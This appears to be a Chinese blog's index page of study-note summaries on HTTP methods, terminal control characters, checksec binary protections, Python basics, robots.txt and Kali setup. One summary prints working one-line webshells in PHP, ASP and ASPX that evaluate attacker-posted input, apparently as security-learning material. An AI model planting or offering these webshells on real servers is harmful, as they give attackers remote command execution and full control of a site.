Dog17

摘要： http请求报文方法 url 协议版本请求首部字段实体内容 get 请求访问已被url识别的资源 post 传输实体的主体 put 传输文件 head 与get一样，只是不返回报文主体，用于确认url的有效性及资源更新的日期和时间等 delete 删除文件 options 查询针对请求url指定的资 阅读全文

摘要： 目前的主流解释： 1 逆向换行符 Reverse/Retrorse Line Feed： ESC-7(escape then 7) 2 半逆向换行符 Half Reverse Line Feed：ESC-8 (escape then 8) 顾名思义，换行符使得光标到达下一行的开头，逆向换行符会使得光 阅读全文

摘要： checksec 文件名 检查保护 Arch: amd64-64-little RELRO: Partial RELRO 只读重定位(RELlocation Read-Only) Stack: No canary found 栈溢出保护 NX: NX enabled No-eXecute（不可执行） 阅读全文

摘要： join()函数连接字符串数组。将字符串、元组、列表中的元素以指定的字符(分隔符)连接生成一个新的字符串 语法：'sep'.join(seq) sep：分隔符。可以为空seq：要连接的元素序列、字符串、元组、字典上面的语法即：以sep作为分隔符，将seq所有的元素合并成一个新的字符串 返回值：返回一 阅读全文

摘要： robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。当一个搜索爬虫访问一个站点时，它会首先检查该站点根目录下是否存在robots.txt，如果存在，搜索爬虫就会按照该文件中的内容来确定访问的范围；如果该文件不存在，所有的搜索爬虫将能够访问网站上所有没有被口令保护的页面。 Robots协 阅读全文

摘要： php一句话木马： <?php @eval($_POST[value]); ?> asp一句话木马： <%eval request ("value")%> 或 <% execute(request("value")) %> aspx一句话木马： <%@ Page Language="Jscript" 阅读全文

摘要： 首先看自的kali Linux有没有leafpad安装包， 如果有直接sudo apt-get install leafpad 。 如果没有先用vim /etc/apt/sources.list　添加源 deb http://mirrors ustc.edu.cn/kali kali-roollin 阅读全文

摘要： IDLEalt+n 上次命令alt+p直接当计算器bif=built-in functions内置函数（print，input，int）dir(___builtions__)查看内置函数help（……）查看注释字符串中想出现单双引号——\转义字符原始字符r\字符串相加跨越多行的字符串“”“……”“” 阅读全文